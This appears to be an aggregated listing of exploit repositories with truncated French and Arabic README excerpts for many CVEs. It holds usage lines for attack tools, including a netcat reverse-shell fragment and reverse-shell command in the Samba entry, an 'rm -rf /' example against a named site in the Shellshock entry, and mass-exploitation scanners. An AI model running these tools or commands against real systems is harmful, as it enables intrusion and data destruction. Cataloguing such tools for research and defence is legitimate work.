CVE-2015-1427

CVE-2015-1427 Paramètres -u URL unique -l Spécifier un fichier d'URLs -c Spécifier une commande...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Utilisation Exploiter la cible 10.129.232.46 sur le port 445, envoyer un shell inversé vers 10.10.14.82 sur le port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 Avec rport et lport personnalisés python3...

CVE-2025-54100

CVE-2025-54100 – PowerShell إثبات المفهوم لتحليل الاستجابة يوضح كيف يؤدي تحليل HTML الضار لـ CVE-2025-54100 إلى تنفيذ التعليمات البرمجية عن بُعد RCE في Windows PowerShell 5.1. ما هو CVE-2025-54100؟ نوع الثغرة: خطر حقن الأوامر عند عدم استخدام Invoke-WebRequest لمعامل -UseBasicParsing مستوى الخطورة...

fwbt

fwbt الكتابة الفنية: https://www.labs.greynoise.io/grimoire/2024-08-20-bluuid-firewalla/ كود إثبات المفهوم للتفاعل مع Firewalla عبر Bluetooth Low-Energy واستغلال CVE-2024-40892 / CVE-2024-40893 بدون أي إعداد، سيقوم بفحص أجهزة Firewalla القريبة في النطاق المحلي وتسريب المجموع الاختباري checksum...

cve-2021-4034

CVE-2021-4034 تُستخدم هذه الأداة لتنفيذ أمر واحد عبر pkexec POC whoami test@localhost cc$ ./a.out /usr/bin/whoami execute success : root ping 8.8.8.8 test@localhost cc$ ./a.out /usr/bin/ping 8.8.8.8 execute success : PING 8.8.8.8 8.8.8.8 5684 bytes of data. 64 bytes from 8.8.8.8: icmpseq=1 ttl=11...

CVE-2022-30781

🍵 CVE-2022-30781 Exploit de migration de dépôt Gitea avec exécution de commande à distance. Comment utiliser 1. Exécutez un serveur de fichiers HTTP avec les fichiers de ce dépôt. 2. Modifiez la commande à exécuter dans api/v1/repos/e99/exp/pulls/1/index.html L96. 3. Migrez le dépôt distant avec...

CVE-2024-23897

CVE-2024-23897 - أداة استغلال قراءة الملفات العشوائية في Jenkins التثبيت يتطلب CVE-2024-23897 go 1.21 لإكمال التثبيت. قم بتنفيذ الأمر التالي go install github.com/wjlin0/CVE-2024-23897/cmd/CVE-2024-23897@latest أو الملفات الثنائية المكتملة متوفرة للتحميل في الإصدارات macOS-arm64 macOS-amd64...

CVE-2023-1389

TP-Link Archer AX21 - حقن أوامر غير مصادق عليه مثبت استغلال CVE-2023-1389 عنوان الاستغلال: TP-Link Archer AX21 - حقن أوامر غير مصادق عليه تاريخ الاكتشاف: 07/25/2023 مؤلف الاستغلال: Voyag3r كيفية الاستخدام :- المسح - استخدم Zmap: zmap -p 80 -o list.txt مستمع NetCat - apt install netcat -y - nc lnv...

watchTowr-vs-SysAid-PreAuth-RCE-Chain

SysAid PreAuth RCE Chain PoC إثبات المفهوم لسلسلة RCE بدون مصادقة في SysAid CVE-2025-2775, CVE-2025-2776, CVE-2025-2777, CVE-2025-2778 انظر منشور مدونتنا للتفاصيل الفنية https://github.com/user-attachments/assets/03245fab-915d-43b6-8e91-f0a18251af49 PoC أثناء التنفيذ python...

CVE-2019-2729

CVE-2019-2729 كود الاستغلال لـ CVE-2019-2729 Oracle Weblogic الذي يعمل على نظام Windows. يمكن إنشاء اتصال رجوع callback إلى مستقبل CobaltStrike أو معالج Metasploit مع الحمولة windows/meterpreter/reversetcp يوجد أيضًا استغلال بدون إشارة non-beacon يقوم فقط بتنفيذ الأوامر على المضيف الأساسي...

SyncShield

🔐 SyncShield — إضافة متصفح للكشف عن CVE-2018-5764 اكتشف أوامر Rsync غير الآمنة قبل أن تتحول إلى استغلالات إضافة متصفح خفيفة تركّز على الخصوصية، طُوّرت ضمن مشروع السنة النهائية NWS/129/23B لكشف غياب خيار --protect-args في أوامر Rsync — مما يمنع تنفيذ الأوامر عن بُعد عبر CVE-2018-5764. ✅ تعمل دون...

CVE-2024-23897

يحتوي Jenkins على واجهة سطر أوامر مدمجة CLI للوصول إلى Jenkins من بيئة سكريبت أو شل. يستخدم Jenkins مكتبة args4j لتحليل وسائط وخيارات الأوامر على وحدة التحكم Jenkins عند معالجة أوامر CLI. يحتوي محلل الأوامر هذا على ميزة تستبدل الحرف @ متبوعًا بمسار ملف في الوسيطة بمحتويات الملف expandAtFiles. هذه...

ShockZaum-CVE-2014-6271

CVE-2014-6271 سكربت لاستغلال ثغرة shellshock ! Usage: ./ShockZaum -u 'https://nasa.gov' -c 'rm -rf /' -p '/cgi-bin/aliens.cgi'...

vsftpd-234-vuln-report

💥 تقرير استغلال الباب الخلفي في vsftpd 2.3.4 استغلال ثغرة معروفة في vsftpd 2.3.4 باستخدام Metasploit. 📌 تفاصيل الهدف عنوان IP الهدف: 192.168.150.133 الخدمة: FTP الإصدار القابل للاستغلال: vsftpd 2.3.4 وحدة الاستغلال: exploit/unix/ftp/vsftpd234backdoor الحمولة: قشرة أوامر TCP 🔍 ملخص الثغرة يحتوي...

CVE-2017-11882

CVE-2017-11882 43b النص الأصلي مأخوذ من https://github.com/embedi/CVE-2017-11882 109b النص الأصلي مأخوذ من https://github.com/unamer/CVE-2017-11882/ تحية، الآن كود unamer يمكنه تنفيذ shellcode CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE CVE-2017-11882...

cve-2020-0688

cve-2020-0688 لقد أنشأت هذا السكربت لإجراء اختبار CVE-2020-0688 بسرعة أكبر. فهو يساعد على تحسين فحص الثغرة، مما يقلل الخطوات اللازمة لذلك بشكل هائل. قم بتعديل هذه المدخلات قبل تشغيل الملف. url = "https://mail.something.com" input 1 command = "cmd /c echo OOOPS!!! c:/truongtn.txt" input2 aspsessio...

CVE-2017-10271

CVE-2017-10271 CVE-2017-10271 تنفيذ الأوامر مع عرض النتيجة تحميل شل مباشر تم الاختبار بنجاح على Linux Weblogic 10.3.6.0 الاستخدام والمعاملات python weblogicwlswsatexp.py -t IP:7001 usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional arguments: -h, --help show this help...

CVE-2020-8559

استغلال Kubernetes CVE-2020-8559 - إثبات المفهوم PoC هذا لأغراض العرض التوضيحي فقط. يُستخدم فقط على الأنظمة التي لديك الإذن بتنفيذ إجراءات إدارية عليها، ويُصرّح لك باستغلال CVE-2020-8559 عليها هذا هو PoC لثغرة CVE-2020-8559. تسمح هذه الثغرة لمهاجم حصل على صلاحيات root على إحدى العُقد بتنفيذ أوامر...

CVE-2019-12725-modified-exp

CVE-2019-12725-modified-exp تم التعديل لإصلاح الأخطاء وتنفيذ الأوامر بصلاحيات أعلى، كما تمت إزالة sleep13 من السكربت الأصلي لتوفير الوقت. المراجع: https://www.modb.pro/db/120391 https://www.exploit-db.com/exploits/49862...

strutsy

ستروتسي أداة ستروتسي - الاستغلال الجماعي لثغرة Apache Struts CVE-2017-5638. تتضمن تقنيات حقن الأوامر الأعمى وحقن الأوامر المستند إلى الوقت مما يقلل بشكل كبير من النتائج السلبية الخاطئة. تشمل الميزات الأخرى استيراد عناوين URL بشكل جماعي لمسح أهداف متعددة دفعة واحدة. الاستخدام: python strutsy.py...